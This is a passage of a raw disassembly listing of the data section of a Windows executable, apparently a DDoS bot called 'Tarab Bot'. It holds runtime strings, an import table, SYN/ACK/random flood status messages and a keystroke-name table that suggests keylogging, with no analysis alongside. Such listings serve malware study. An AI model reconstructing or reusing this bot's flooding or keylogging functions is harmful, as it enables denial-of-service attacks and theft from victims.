7CDCEFB7h, 0BDBDF21h, 86D3D2D4h, 0F1D4E242h, 68DDB3F8h dd 1FDA836Eh, 81BE16CDh, 0F6B9265Bh, 6FB077E1h, 18B74777h dd 88085AE6h, 0FF0F6A70h, 66063BCAh, 11010B5Ch, 8F659EFFh dd 0F862AE69h, 616BFFD3h, 166CCF45h, 0A00AE278h, 0D70DD2EEh dd 4E048354h, 3903B3C2h, 0A7672661h, 0D06016F7h, 4969474Dh dd 3E6E77DBh, 0AED16A4Ah, 0D9D65ADCh, 40DF0B66h, 37D83BF0h dd 0A9BCAE53h, 0DEBB9EC5h, 47B2CF7Fh, 30B5FFE9h, 0BDBDF21Ch dd 0CABAC28Ah, 53B39330h, 24B4A3A6h, 0BAD03605h, 0CDD70693h dd 54DE5729h, 23D967BFh, 0B3667A2Eh, 0C4614AB8h, 5D681B02h dd 2A6F2B94h, 0B40BBE37h, 0C30C8EA1h, 5A05DF1Bh, 2D02EF8Dh dbl_423690 dq 9.765625e-4 ; DATA XREF: sub_40C90D+2B8r ; sub_40C90D+2CDr ... dbl_423698 dq -3.0517578125e-5 ; DATA XREF: sub_4151D8+1Er dbl_4236A0 dq 1.0 ; DATA XREF: sub_4179A4+6Cr ; sub_417AEB+6Cr ... dword_4236A8 dd 0FFFFFFFFh, 4199BBh, 4199CFh ; DATA XREF: sub_4198E4+5o byte_4236B4 db 6 ; DATA XREF: sub_419B38:loc_419B8Fr db 2 dup(0), 6 dd 100h, 6030010h, 10020600h, 45454504h, 5050505h, 303505h dd 50h, 38282000h, 8075850h, 30303700h, 75057h, 8202000h dd 0 dd 60686008h, 606060h, 78707000h, 8787878h, 807h, 8080007h dd 8000008h, 7000800h, 8 aNull: ; DATA XREF: .data:off_438A7Co unicode 0, <(null)>,0 align 10h aNull_0 db '(null)',0 ; DATA XREF: .data:off_438A78o align 4 a__global_heap_ db '__GLOBAL_HEAP_SELECTED',0 ; DATA XREF: sub_41A89C+8Eo align 10h a__msvcrt_heap_ db '__MSVCRT_HEAP_SELECT',0 ; DATA XREF: sub_41A89C+4Fo align 4 a_yn db '_yn',0 a_y1 db '_y1',0 a_y0 db '_y0',0 aFrexp db 'frexp',0 align 4 aFmod db 'fmod',0 align 4 a_hypot db '_hypot',0 align 4 a_cabs db '_cabs',0 align 4 aLdexp db 'ldexp',0 align 4 aModf db 'modf',0 align 4 aFabs db 'fabs',0 align 4 aFloor db 'floor',0 align 4 aCeil db 'ceil',0 align 4 aTan db 'tan',0 aCos db 'cos',0 aSin db 'sin',0 aSqrt db 'sqrt',0 align 10h aAtan2 db 'atan2',0 align 4 aAtan db 'atan',0 align 10h aAcos db 'acos',0 align 4 aAsin db 'asin',0 align 10h aTanh db 'tanh',0 align 4 aCosh db 'cosh',0 align 10h aSinh db 'sinh',0 align 4 aLog10 db 'log10',0 align 10h aLog db 'log',0 aPow db 'pow',0 aExp db 'exp',0 ; DATA XREF: .data:off_43ACCCo align 10h dbl_423810 dq 0.0 ; DATA XREF: sub_41BFF3+8Cr ; sub_41BFF3+ACr ... dbl_423818 dq 4.195835e6 ; DATA XREF: sub_41C508+Fr dbl_423820 dq 3.145727e6 ; DATA XREF: sub_41C508+6r aIsprocessorfea db 'IsProcessorFeaturePresent',0 ; DATA XREF: sub_41C546+Fo align 4 aKernel32 db 'KERNEL32',0 ; DATA XREF: sub_41C546o align 10h aE000 db 'e+000',0 ; DATA XREF: sub_41C66D+93o align 4 dword_423858 dd 0FFFFFFFFh, 41CD58h, 41CD62h, 0 ; DATA XREF: sub_41CCF1+5o dword_423868 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_41CE20+5o dd offset loc_41CEDE align 8 dd offset sub_41CEBC dd offset sub_41CEC6 dword_423880 dd 0FFFFFFFFh, 41D10Eh, 41D112h, 0 ; DATA XREF: sub_41CF56+5o dword_423890 dd 0FFFFFFFFh, 41D170h, 41D179h, 0 ; DATA XREF: sub_41D11A+5o dword_4238A0 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_41D1FC+5o dd offset loc_41D24D align 10h dd offset loc_41D239 dd offset loc_41D23D dword_4238B8 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_41D252+5o dd offset loc_41D2A3 align 8 dd offset loc_41D28F dd offset loc_41D293 dword_4238D0 dd 2 dup(0) ; DATA XREF: sub_41E409+36o ; sub_41F88F+39o ... dword_4238D8 dd 0FFFFFFFFh, 41E519h, 41E51Dh, 0FFFFFFFFh, 41E5CDh, 41E5D1h ; DATA XREF: sub_41E409+5o dd 746E7572h, 20656D69h, 6F727265h, 2072h, 534F4C54h, 72652053h dd 0D726F72h, 0Ah, 474E4953h, 72726520h, 0A0D726Fh, 0 dd 414D4F44h, 65204E49h, 726F7272h, 0A0Dh, 32303652h, 2D0A0D38h dd 616E7520h, 20656C62h, 69206F74h, 6974696Eh, 7A696C61h dd 65682065h, 0A0D7061h, 0 aR6027NotEnough db 'R6027',0Dh,0Ah db '- not enough space for lowio initialization',0Dh,0Ah,0 align 10h aR6026NotEnough db 'R6026',0Dh,0Ah db '- not enough space for stdio initialization',0Dh,0Ah,0 align 4 aR6025PureVirtu db 'R6025',0Dh,0Ah db '- pure virtual function call',0Dh,0Ah,0 align 10h aR6024NotEnough db 'R6024',0Dh,0Ah db '- not enough space for _onexit/atexit table',0Dh,0Ah,0 align 4 aR6019UnableToO db 'R6019',0Dh,0Ah db '- unable to open console device',0Dh,0Ah,0 align 4 aR6018Unexpecte db 'R6018',0Dh,0Ah db '- unexpected heap error',0Dh,0Ah,0 align 4 aR6017Unexpecte db 'R6017',0Dh,0Ah db '- unexpected multithread lock error',0Dh,0Ah,0 align 4 aR6016NotEnough db 'R6016',0Dh,0Ah db '- not enough space for thread data',0Dh,0Ah,0 aAbnormalProgra db 0Dh,0Ah db 'abnormal program termination',0Dh,0Ah,0 align 4 aR6009NotEnough db 'R6009',0Dh,0Ah db '- not enough space for environment',0Dh,0Ah,0 aR6008NotEnough db 'R6008',0Dh,0Ah db '- not enough space for arguments',0Dh,0Ah,0 align 10h aR6002FloatingP db 'R6002',0Dh,0Ah ; DATA XREF: .data:off_43B10Co db '- floating point not loaded',0Dh,0Ah,0 align 4 aMicrosoftVisua db 'Microsoft Visual C++ Runtime Library',0 ; DATA XREF: sub_41F5B1+119o align 10h asc_423BA0 db 0Ah ; DATA XREF: sub_41F5B1+F1o db 0Ah,0 align 4 aRuntimeErrorPr db 'Runtime Error!',0Ah ; DATA XREF: sub_41F5B1+D3o db 0Ah db 'Program: ',0 align 10h a___ db '...',0 ; DATA XREF: sub_41F5B1+BFo aProgramNameUnk db '<program name unknown>',0 ; DATA XREF: sub_41F5B1+7Do align 10h dword_423BE0 dd 0FFFFFFFFh, 41F988h, 41F98Ch ; DATA XREF: sub_41F88F+5o aSunmontuewedth db 'SunMonTueWedThuFriSat',0 align 4 aJanfebmaraprma db 'JanFebMarAprMayJunJulAugSepOctNovDec',0 align 4 aTz db 'TZ',0 ; DATA XREF: sub_42067A+Ao align 10h aGetlastactivep db 'GetLastActivePopup',0 ; DATA XREF: sub_420D8F+3Do align 4 aGetactivewindo db 'GetActiveWindow',0 ; DATA XREF: sub_420D8F+35o aMessageboxa db 'MessageBoxA',0 ; DATA XREF: sub_420D8F+24o a1Qnan db '1#QNAN',0 ; DATA XREF: sub_4216D9:loc_4217CEo align 4 a1Inf db '1#INF',0 ; DATA XREF: sub_4216D9+D8o align 10h a1Ind db '1#IND',0 ; DATA XREF: sub_4216D9+C7o align 4 a1Snan db '1#SNAN',0 ; DATA XREF: sub_4216D9+ADo align 10h dword_423C80 dd 0FFFFFFFFh, 4220D1h, 4220D5h, 0FFFFFFFFh, 422140h, 422144h ; DATA XREF: sub_421F1A+5o dd 423DBCh off_423C9C dd offset loc_4224D2 ; DATA XREF: sub_4224AA+8o ; sub_4224EE+2Co ... dd offset sub_4224C5 dd offset sub_4226E6 dd offset dword_423E08 off_423CAC dd offset sub_42253C ; DATA XREF: sub_4224EE+3Ao ; sub_422558o ... dd offset sub_4224C5 dd offset loc_422722 dword_423CB8 dd 0 ; DATA XREF: sub_4224EE+16o ; sub_4225C0+16o aInvalidStringP db 'invalid string position',0 ; DATA XREF: sub_422563+11o dd offset dword_423E54 off_423CD8 dd offset sub_42264B ; DATA XREF: sub_422667o ; sub_42268A+37o ... dd offset sub_4224C5 dd offset loc_422704 aStringTooLong db 'string too long',0 ; DATA XREF: sub_42268A+11o dd offset dword_423E98 off_423CF8 dd offset loc_4227E7 ; DATA XREF: sub_4227D2o ; .data:off_43B82Co ... dd offset dword_423EC8 off_423D00 dd offset loc_422803 ; DATA XREF: sub_42281F+8o ; sub_42285C+8o ... dd offset sub_4228BC aUnknownExcepti db 'Unknown exception',0 ; DATA XREF: sub_4228BC+7o align 10h dword_423D20 dd 0E06D7363h, 1, 2 dup(0) ; DATA XREF: sub_4228C9+Eo dd 3, 19930520h, 2 dup(0) dword_423D40 dd 0FFFFFFFFh, 422A7Ah, 422A7Eh, 0FFFFFFFFh, 422AF7h, 422AFBh ; DATA XREF: sub_422978+5o dword_423D58 dd 0FFFFFFFFh, 422CEFh, 422CF3h, 0FFFFFFFFh, 422D4Ch, 422D50h ; DATA XREF: sub_422C03+5o dd 43B82Ch, 2 dup(0) dd 0FFFFFFFFh, 2 dup(0) off_423D88 dd offset off_43B844 ; DATA XREF: .data:00423DA0o ; .data:00423DECo ... dd 1, 0 dd 0FFFFFFFFh, 2 dup(0) dd offset off_423D88 dd offset dword_423D58+18h dword_423DA8 dd 3 dup(0) ; DATA XREF: .data:00423DCCo dd 2, 423DA0h, 3 dup(0) dd offset off_43B844 dd offset dword_423DA8+4 off_423DD0 dd offset off_43B864 ; DATA XREF: .data:00423DE8o dd 2, 0 dd 0FFFFFFFFh, 2 dup(0) dd offset off_423DD0 dd offset off_423D88 dd offset dword_423D58+18h dd 0 db 0 ; DATA XREF: .data:00423E18o db 0 db 0 db 0 db 0 db 0 db 0 db 0 dd 3, 423DE8h dword_423E08 dd 3 dup(0) ; DATA XREF: .data:00423CA8o dd offset off_43B864 dd offset unk_423DF8 off_423E1C dd offset off_43B884 ; DATA XREF: .data:00423E34o dd 2, 0 dd 0FFFFFFFFh, 2 dup(0) dd offset off_423E1C dd offset off_423D88 dd offset dword_423D58+18h dword_423E40 dd 3 dup(0) ; DATA XREF: .data:00423E64o dd 3, 423E34h dword_423E54 dd 3 dup(0) ; DATA XREF: .data:00423CD4o dd offset off_43B884 dd offset dword_423E40+4 off_423E68 dd offset off_43B8A8 ; DATA XREF: .data:00423E80o dd 2 dup(0) dd 0FFFFFFFFh, 2 dup(0) dd offset off_423E68 dd 0 db 0 ; DATA XREF: .data:00423EA8o db 0 db 0 db 0 db 0 db 0 db 0 db 0 dd 1, 423E80h dword_423E98 dd 3 dup(0) ; DATA XREF: .data:00423CF4o dd offset off_43B8A8 dd offset unk_423E88 dd offset dword_423D58+18h dword_423EB0 dd 4 dup(0) ; DATA XREF: .data:00423ED8o dd 1, 423EACh dword_423EC8 dd 3 dup(0) ; DATA XREF: .data:00423CFCo dd offset off_43B82C dd offset dword_423EB0+8 dd 0FFFFFFFFh, 422DD0h, 0 dd offset sub_422DC8 dword_423EEC dd 19930520h, 2, 423EDCh, 4 dup(0) ; DATA XREF: .data:loc_422DE7o dd 0FFFFFFFFh, 422DF4h, 0 dd offset loc_422DFC dword_423F18 dd 19930520h, 2, 423F08h, 4 dup(0) ; DATA XREF: .data:loc_422E04o dd 0FFFFFFFFh, 0 dd 0FFFFFFFFh, 4 dup(0) dd offset loc_404733 dd 2 dup(0) dd 2 dup(1), 423F44h dword_423F68 dd 19930520h, 2, 423F34h, 1, 423F54h, 2 dup(0) ; DATA XREF: .data:loc_422E10o dd 0FFFFFFFFh, 422E1Ah dword_423F8C dd 19930520h, 1, 423F84h, 5 dup(0) ; DATA XREF: .data:loc_422E22o dd offset off_43B82C dd 0 dd 0FFFFFFFFh, 0 dd 0Ch, 42285Ch, 0 dd offset off_43B844 align 10h dd 0FFFFFFFFh, 0 dd 1Ch, 422608h, 0 dd offset off_43B864 dd 0 dd 0FFFFFFFFh, 0 dword_423FF4 dd 1Ch, 422672h, 3, 423FE0h, 423FC4h, 423FA8h ; DATA XREF: .data:00424018o dword_42400C dd 0 ; DATA XREF: sub_422563+2Eo ; sub_4226E6+4Bo dd offset sub_422558 align 8 dd offset dword_423FF4+8 dd 0FFFFFFFFh, 422E2Ch dword_424024 dd 19930520h, 1, 42401Ch, 4 dup(0) ; DATA XREF: .data:loc_422E34o dd 0FFFFFFFFh, 422E3Eh dword_424048 dd 19930520h, 1, 424040h, 4 dup(0) ; DATA XREF: .data:loc_422E46o dd 0FFFFFFFFh, 422E50h dword_42406C dd 19930520h, 1, 424064h, 5 dup(0) ; DATA XREF: .data:loc_422E58o dd offset off_43B884 dd 0 dd 0FFFFFFFFh, 0 dword_42409C dd 1Ch, 4226CEh, 3, 424088h, 423FC4h, 423FA8h ; DATA XREF: .data:004240C0o dword_4240B4 dd 0 ; DATA XREF: sub_42268A+2Eo ; sub_4226E6+2Do dd offset sub_422667 align 10h dd offset dword_42409C+8 dd 0FFFFFFFFh, 422E62h dword_4240CC dd 19930520h, 1, 4240C4h, 4 dup(0) ; DATA XREF: .data:loc_422E6Ao dword_4240E8 dd 2, 423FC4h, 423FA8h ; DATA XREF: .data:00424100o dword_4240F4 dd 0 ; DATA XREF: sub_4226E6+Fo dd offset sub_4224AA align 10h dd offset dword_4240E8 dd 2432Ch, 2 dup(0) dd 24396h, 231D8h, 24334h, 2 dup(0) dd 2439Eh, 231E0h, 24154h, 2 dup(0) dd 24C12h, 23000h, 5 dup(0) dd 2471Eh, 24BF8h, 24BE6h, 24BD4h, 24BC4h, 24BB4h, 24BA4h dd 24B86h, 24B72h, 24B62h, 24B50h, 24B3Eh, 24B30h, 24B20h dd 24B0Eh, 24AF4h, 24ADCh, 24AC2h, 24AA8h, 24A8Ch, 24A80h dd 243AAh, 243B8h, 243C8h, 243E2h, 243FEh, 24406h, 2441Ch dd 2442Ch, 24442h, 2444Eh, 2445Ch, 24468h, 2447Ch, 2448Ah dd 244A0h, 244B0h, 244C0h, 244D6h, 244E8h, 244FAh, 2450Ah dd 24518h, 2452Eh, 2453Ah, 24552h, 2456Ch, 2457Ch, 2458Eh dd 245A0h, 245B8h, 245D0h, 245F8h, 24610h, 2461Eh, 24638h dd 2464Ah, 2465Ah, 24666h, 24672h, 24684h, 24696h, 246AAh dd 246BAh, 246C8h, 246DCh, 246EEh, 246FEh, 2470Ch, 2472Eh dd 24744h, 24752h, 24760h, 24772h, 2478Eh, 247A4h, 247B4h dd 247CAh, 247DAh, 247ECh, 24800h, 2480Eh, 2481Eh, 24834h dd 24842h, 24858h, 2486Ch, 2487Ah, 24890h, 2489Ch, 248ACh dd 248BEh, 248CAh, 248DEh, 248F6h, 24908h, 2491Ch, 24936h dd 24952h, 2495Eh, 24978h, 24988h, 24996h, 249A8h, 249BAh dd 249C8h, 249E2h, 249F0h, 249FEh, 24A0Ch, 24A1Ch, 24A2Ch dd 24A3Eh, 24A4Ah, 24A5Ah, 24A6Ah, 24A76h, 0 dd 24380h, 0 dd 80000073h, 80000015h, 80000002h, 8000000Dh, 80000001h dd 80000016h, 80000034h, 8000000Bh, 80000074h, 80000010h dd 80000013h, 80000012h, 80000097h, 80000017h, 8000000Ah dd 80000004h, 80000003h, 80000009h, 0 db 6 align 2 aWnetaddconne_1 db 'WNetAddConnection2A',0 aMpr_dll_0 db 'MPR.dll',0 aWs2_32_dll_0 db 'WS2_32.dll',0 align 2 db 'º',0 aExitthread db 'ExitThread',0 align 4 db 0DFh ; ß db 1, 47h, 65h aTtickcount db 'tTickCount',0 align 4 db 0A3h ; £ db 2, 51h, 75h aEryperformance db 'eryPerformanceCounter',0 dw 2A4h aQueryperform_1 db 'QueryPerformanceFrequency',0 dw 356h aSleep db 'Sleep',0 dw 1C1h aGetsystemdirec db 'GetSystemDirectoryA',0 db 73h ; s db 1, 47h, 65h aTlocaltime db 'tLocalTime',0 align 4 db 75h ; u db 2, 4Dh, 75h aLtibytetowidec db 'ltiByteToWideChar',0 dw 2B5h aReadfile db 'ReadFile',0 align 2 a4 db '4',0 aClosehandle db 'CloseHandle',0 db 0A4h ; ¤ db 3, 57h, 72h aItefile db 'iteFile',0 db 68h ; h db 3, 54h, 72h aAnsactnamedpip db 'ansactNamedPipe',0 aS_1 db 'S',0 aCreatefilea db 'CreateFileA',0 db 90h db 3 aWaitforsingleo db 'WaitForSingleObject',0 db 71h ; q db 1, 47h, 65h aTlasterror db 'tLastError',0 align 10h aO db 'O',0 aCreateeventa db 'CreateEventA',0 align 10h db 7Dh ; } db 1, 47h, 65h aTmodulefilenam db 'tModuleFileNameA',0 align 2 dw 1E0h aGettimeformata db 'GetTimeFormatA',0 align 4 db 47h ; G db 1, 47h, 65h aTdateformata db 'tDateFormatA',0 align 2 aO_0 db 'o',0 aCreatethread db 'CreateThread',0 align 2 dw 163h aGetfilesize db 'GetFileSize',0 db 5Eh ; ^ db 1, 47h, 65h aTfileattribute db 'tFileAttributesA',0 align 2 db 'Î',0 aFindclose db 'FindClose',0 db 'Å',0 aFiletimetosyst db 'FileTimeToSystemTime',0 align 2 db 'Ä',0 aFiletimetoloca db 'FileTimeToLocalFileTime',0 db 'Ü',0 aFindnextfilea db 'FindNextFileA',0 db 'Ò',0 aFindfirstfilea db 'FindFirstFileA',0 align 2 dw 31Bh aSetfilepointer db 'SetFilePointer',0 align 10h db 51h ; Q db 2, 4Ch, 65h aAvecriticalsec db 'aveCriticalSection',0 align 4 aS_2 db '˜',0 aEntercriticals db 'EnterCriticalSection',0 align 10h db 24h ; $ db 2, 49h, 6Eh aItializecritic db 'itializeCriticalSectionAndSpinCount',0 aB db '',0 aDeletecritical db 'DeleteCriticalSection',0 dd 724600F8h, 694C6565h, 72617262h, 1590079h aGetenvironment db 'GetEnvironmentVariableW',0 dd 654701A0h, 6F725074h, 64644163h, 73736572h, 2520000h dd 64616F4Ch, 7262694Ch, 41797261h, 2160000h, 70616548h dd 65657246h, 2100000h, 70616548h, 6F6C6C41h, 1A30063h dd 50746547h, 65636F72h, 65487373h, 7061h, 69560389h, 61757472h dd 6575516Ch, 78457972h, 2B80000h aReadprocessmem db 'ReadProcessMemory',0 dw 1C5h aGetsysteminfo db 'GetSystemInfo',0 dw 286h aOpenprocess db 'OpenProcess',0 dd 6547017Fh, 646F4D74h, 48656C75h, 6C646E61h, 4165h, 6F4600F3h dd 74616D72h, 7373654Dh, 41656761h, 20A0000h, 626F6C47h dd 6E556C61h, 6B636F6Ch, 2030000h, 626F6C47h, 6F4C6C61h dd 6B63h, 6E550371h, 5670616Dh, 4F776569h, 6C694666h, 2680065h dd 5670614Dh, 4F776569h, 6C694666h, 540065h aCreatefilemapp db 'CreateFileMappingA',0 align 4 dd 6553031Fh, 6C694674h, 6D695465h, 1650065h, 46746547h dd 54656C69h, 656D69h, 72430066h, 65746165h, 636F7250h dd 41737365h, 0BC0000h aExpandenvironm db 'ExpandEnvironmentStringsA',0 dw 319h aSetfileattribu db 'SetFileAttributesA',0 align 4 db 0D5h ; Õ db 1, 47h, 65h aTtemppatha db 'tTempPathA',0 align 4 db 5Ah ; Z db 1, 47h, 65h aTexitcodeproce db 'tExitCodeProcess',0 align 2 dw 291h aPeeknamedpipe db 'PeekNamedPipe',0 aU db '“',0 aDuplicatehandl db 'DuplicateHandle',0 db 42h ; B db 1, 47h, 65h aTcurrentproces db 'tCurrentProcess',0 aE db 'e',0 aCreatepipe db 'CreatePipe',0 align 2 dw 1E9h aGetversionexa db 'GetVersionExA',0 dw 204h aGlobalmemoryst db 'GlobalMemoryStatus',0 align 4 db '¹',0 aExitprocess db 'ExitProcess',0 dw 394h aWidechartomult db 'WideCharToMultiByte',0 dd 65470114h, 6D6F4374h, 65747570h, 6D614E72h, 4165h, 65440083h dd 6574656Ch, 656C6946h, 1430041h aGetcurrentproc db 'GetCurrentProcessId',0 aC db 'C',0 aCopyfilea db 'CopyFileA',0 db '`',0 aCreatemutexa db 'CreateMutexA',0 align 4 dd 6554035Fh, 6E696D72h, 54657461h, 61657268h, 26E0064h dd 65766F4Dh, 656C6946h, 35E0041h, 6D726554h, 74616E69h dd 6F725065h, 73736563h, 2EE0000h aSetconsolectrl db 'SetConsoleCtrlHandler',0 dw 174h aGetlocaleinfoa db 'GetLocaleInfoA',0 align 4 db 78h ; x db 1, 47h, 65h aTlogicaldrives db 'tLogicalDrives',0 align 4 db 8Eh ; Ž db 3, 57h, 61h aItformultipleo db 'itForMultipleObjects',0 align 2 dw 0FCh aGenerateconsol db 'GenerateConsoleCtrlEvent',0 align 2 dw 2D7h aRtlunwind db 'RtlUnwind',0 dw 1E2h aGettimezoneinf db 'GetTimeZoneInformation',0 align 4 db 0C8h ; È db 1, 47h, 65h aTsystemtime db 'tSystemTime',0 db 1Ah db 2, 48h, 65h aAprealloc db 'apReAlloc',0 dw 1B7h aGetstartupinfo db 'GetStartupInfoA',0 db 10h db 1, 47h, 65h aTcommandlinea db 'tCommandLineA',0 dw 1E8h aGetversion db 'GetVersion',0 align 4 db 58h ; X db 1, 47h, 65h aTenvironmentva db 'tEnvironmentVariableA',0 dw 214h aHeapdestroy db 'HeapDestroy',0 db 12h db 2, 48h, 65h aApcreate db 'apCreate',0 align 2 dw 383h aVirtualfree db 'VirtualFree',0 db 81h ; db 3, 56h, 69h aRtualalloc db 'rtualAlloc',0 align 4 db 36h ; 6 db 2, 49h, 73h aBadwriteptr db 'BadWritePtr',0 db 0A7h ; § db 2, 52h, 61h aIseexception db 'iseException',0 align 2 dw 21Ch aHeapsize db 'HeapSize',0 align 2 dw 244h aLcmapstringa db 'LCMapStringA',0 align 2 dw 245h aLcmapstringw db 'LCMapStringW',0 align 2 dw 104h aGetcpinfo db 'GetCPInfo',0 dw 0FDh aGetacp db 'GetACP',0 align 10h db 93h ; “ db 1, 47h, 65h aToemcp db 'tOEMCP',0 align 4 db 6Eh ; n db 3, 55h, 6Eh aHandledexcepti db 'handledExceptionFilter',0 align 4 db 0F6h ; ö align 2 aFreeenvironmen db 'FreeEnvironmentStringsA',0 dw 0F7h aFreeenvironm_0 db 'FreeEnvironmentStringsW',0 db 55h ; U db 1, 47h, 65h aTenvironmentst db 'tEnvironmentStrings',0 db 57h ; W db 1, 47h, 65h aTenvironment_0 db 'tEnvironmentStringsW',0 align 2 dw 324h aSethandlecount db 'SetHandleCount',0 align 10h dd 654701B9h, 64745374h, 646E6148h, 656Ch, 65470166h, 6C694674h dd 70795465h, 1BA0065h, 53746547h, 6E697274h, 70795467h dd 4165h, 654701BDh, 72745374h, 54676E69h, 57657079h, 3370000h dd 53746553h, 61486474h, 656C646Eh, 0EE0000h, 73756C46h dd 6C694668h, 66754265h, 73726566h, 34A0000h aSetunhandledex db 'SetUnhandledExceptionFilter',0 db 33h ; 3 db 2, 49h, 73h aBadreadptr db 'BadReadPtr',0 align 4 db 30h ; 0 db 2, 49h, 73h aBadcodeptr db 'BadCodePtr',0 align 4 db 10h db 3, 53h, 65h aTendoffile db 'tEndOfFile',0 align 4 db ':',0 aComparestringa db 'CompareStringA',0 align 2 db ';',0 aComparestringw db 'CompareStringW',0 align 4 db 13h db 3, 53h, 65h aTenvironment_1 db 'tEnvironmentVariableA',0 aKernel32_dll db 'KERNEL32.dll',0 align 10h dd 0F8h dup(0) dword_425000 dd 0 ; DATA XREF: sub_4197B8+1Fo dd offset sub_4030A2 dd offset sub_4047E1 dd offset sub_404803 dword_425010 dd 0 ; DATA XREF: sub_4197B8+1Ao dword_425014 dd 0 ; DATA XREF: sub_4197B8+10o dd offset sub_418382 dd offset sub_41EA1C dd offset sub_41F76E dd offset sub_4205E0 dword_425028 dd 0 ; DATA XREF: sub_4197B8:loc_4197C3o dword_42502C dd 0 ; DATA XREF: sub_419807+65o dd offset sub_41F813 dword_425034 dd 0 ; DATA XREF: sub_419807:loc_419867o dword_425038 dd 0 ; DATA XREF: sub_419807+76o dd offset sub_4205F1 dword_425040 dd 4 dup(0) ; DATA XREF: sub_419807:loc_419878o dword_425050 dd 72023602h, 28201F62h, 736F6464h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_401000+5Bo dd 2BBBB02h aTarabBotDoneWi db ' Tarab Bot Done with flood (%iKB/sec).',0 align 4 dword_425094 dd 72023602h, 28201F62h, 736F6464h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_4010B2+31Ao dd 2BBBB02h aTarabBotSendEr db ' Tarab Bot Send error: <%d>.',0 align 4 aDdos_random db 'ddos.random',0 ; DATA XREF: sub_4010B2:loc_4011DEo ; sub_40EC43+25E5o aDdos_ack db 'ddos.ack',0 ; DATA XREF: sub_4010B2:loc_4011C2o ; sub_40EC43+25CEo align 4 aDdos_syn db 'ddos.syn',0 ; DATA XREF: sub_4010B2+F1o ; sub_40EC43+25B7o align 10h unk_4250F0 db 2 ; DATA XREF: sub_401444+390o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 69h, 63h, 6Dh db 70h ; p db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aErrorSendingPa db ' Error sending packets to IP: %s. Packets sent: %d. Returned: <%' db 'd>.',0 align 10h unk_425150 db 2 ; DATA XREF: sub_401444+326o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 69h, 63h, 6Dh db 70h ; p db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aDoneWithSFlood db ' Done with %s flood to IP: %s. Sent: %d packet(s) @ %dKB/sec (%d' db 'MB).',0 align 10h unk_4251B0 db 2 ; DATA XREF: sub_401444+12Ao db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 69h, 63h, 6Dh db 70h ; p db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aInvalidTargetI db ' Invalid target IP.',0 align 10h unk_4251E0 db 2 ; DATA XREF: sub_401444+C2o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 69h, 63h, 6Dh db 70h ; p db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aErrorSetsockop db ' Error: setsockopt() failed, returned: <%d>.',0 align 4 unk_425228 db 2 ; DATA XREF: sub_401444+49o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 69h, 63h, 6Dh db 70h ; p db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aErrorSocketFai db ' Error: socket() failed, returned: <%d>.',0 align 4 aSupersynDoneWi db '[SUPERSYN]: Done with flood (%iKB/sec)',0 ; DATA XREF: sub_40182F+48o align 4 unk_425294 db 2 ; DATA XREF: sub_4019C8+48o db 6Eh, 2, 72h db 62h ; b db 1Fh, 20h, 28h db 73h ; s db 79h, 6Eh, 2Eh db 70h ; p db 1Fh, 6Ch, 1Fh db 67h ; g db 29h, 20h, 2 db 0BBh ; » db 0BBh, 2, 20h aDoneWithFloodI db ' Done with flood (%iKB/sec).',0 align 4 dword_4252CC dd 7A026E02h, 201F6D1Fh, 6E797328h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_401A64+295o dd 2BBBB02h aSendErrorD_ db ' Send error: <%d>.',0 dword_4252F8 dd 7A026E02h, 201F6D1Fh, 70637428h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_401D6D+4E4o dd 2BBBB02h aErrorSending_0 db ' Error sending packets to IP: %s. Packets sent: %d. Returned: <%' db 'd>.',0 align 4 dword_425358 dd 7A026E02h, 201F6D1Fh, 70637428h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_401D6D+471o dd 2BBBB02h aDoneWithSFlo_0 db ' Done with %s flood to IP: %s. Sent: %d packet(s) @ %dKB/sec (%d' db 'MB).',0 align 4 aRandom db 'random',0 ; DATA XREF: sub_401D6D+2FDo ; sub_40EC43+2BFCo ... align 10h aAck db 'ack',0 ; DATA XREF: sub_401D6D+2DDo ; sub_40EC43+2BE5o aSyn db 'syn',0 ; DATA XREF: sub_401D6D+2BDo ; sub_40EC43+2BCDo dword_4253C8 dd 7A026E02h, 201F6D1Fh, 70637428h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_401D6D+15Fo dd 2BBBB02h aInvalidTarge_0 db ' Invalid target IP.',0 align 4 dword_4253F8 dd 7A026E02h, 201F6D1Fh, 70637428h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_401D6D+EEo dd 2BBBB02h aErrorSetsock_0 db ' Error: setsockopt() failed, returned: <%d>.',0 align 10h dword_425440 dd 7A026E02h, 201F6D1Fh, 70637428h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_401D6D+70o dd 2BBBB02h, 72452020h, 3A726F72h, 636F7320h, 2874656Bh dd 61662029h, 64656C69h, 6572202Ch, 6E727574h, 203A6465h dd 3E64253Ch, 2Eh, 0 dd 8 dword_42548C dd 62h, 62000000h, 2 dup(0) ; DATA XREF: sub_402394:loc_402477o dd 0Dh, 65h, 65000000h, 2 dup(0) dd 1Bh, 4353455Bh, 5B00005Dh, 5D435345h, 0 dd 70h, 5D31465Bh, 5B000000h, 5D3146h, 0 dd 71h, 5D32465Bh, 5B000000h, 5D3246h, 0 dd 72h, 5D33465Bh, 5B000000h, 5D3346h, 0 dd 73h, 5D34465Bh, 5B000000h, 5D3446h, 